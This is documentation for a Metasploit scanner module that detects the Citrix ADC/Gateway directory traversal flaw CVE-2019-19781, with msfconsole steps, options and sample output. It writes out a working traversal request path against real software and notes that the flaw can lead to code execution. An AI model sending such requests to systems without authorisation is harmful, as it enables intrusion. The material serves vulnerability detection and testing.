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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/auxiliary/scanner/http/citrix_dir_traversal.md
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Introduction

An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. The vulnerability, tracked as CVE-2019-19781, allows for directory traversal. If exploited, it could allow an unauthenticated attacker to perform arbitrary code execution.

Because vulnerable servers allow for directory traversal, they will accept the request GET /vpn/../vpns/ and process it as a request for GET /vpns/, a directory that contains PERL scripts that can be targeted to allow for limited file writing on the vulnerable host.

This module checks if a target server is vulnerable by issuing an HTTP GET request for /vpn/../vpns/cfg/smb.confand then checking the response for [global] since this configuration file should contain global variables. If [global] is found, the server is vulnerable to CVE-2019-19781.

Verification Steps

  1. Install the module as usual

  2. Start msfconsole

  3. Do: use auxiliary/scanner/http/citrix_dir_traversal

  4. Do: set RHOSTS [IP]

  5. Do: run

Options

  1. Proxies. This option is not set by default.

  2. RPORT. The default setting is 80. To use: set RPORT [PORT]

  3. SSL. The default setting is false.

  4. THREADS. The default setting is 1.

  5. VHOST. This option is not set by default.

  6. TARGETURI. This option is the base path. / by default.

  7. PATH. This option is the traversal path. /vpn/../vpns/cfg/smb.conf by default.

Scenarios

msf5 auxiliary(scanner/http/citrix_dir_traversal) > options

Module options (auxiliary/scanner/http/citrix_dir_traversal):

   Name       Current Setting            Required  Description
   ----       ---------------            --------  -----------
   PATH       /vpn/../vpns/cfg/smb.conf  yes       Traversal path
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1                  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080                       yes       The target port (TCP)
   SSL        false                      no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                          yes       Base path
   THREADS    1                          yes       The number of concurrent threads (max one per host)
   VHOST                                 no        HTTP server virtual host

msf5 auxiliary(scanner/http/citrix_dir_traversal) > run

[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/citrix_dir_traversal) >

References

  1. https://nvd.nist.gov/vuln/detail/CVE-2019-19781

  2. https://support.citrix.com/article/CTX267027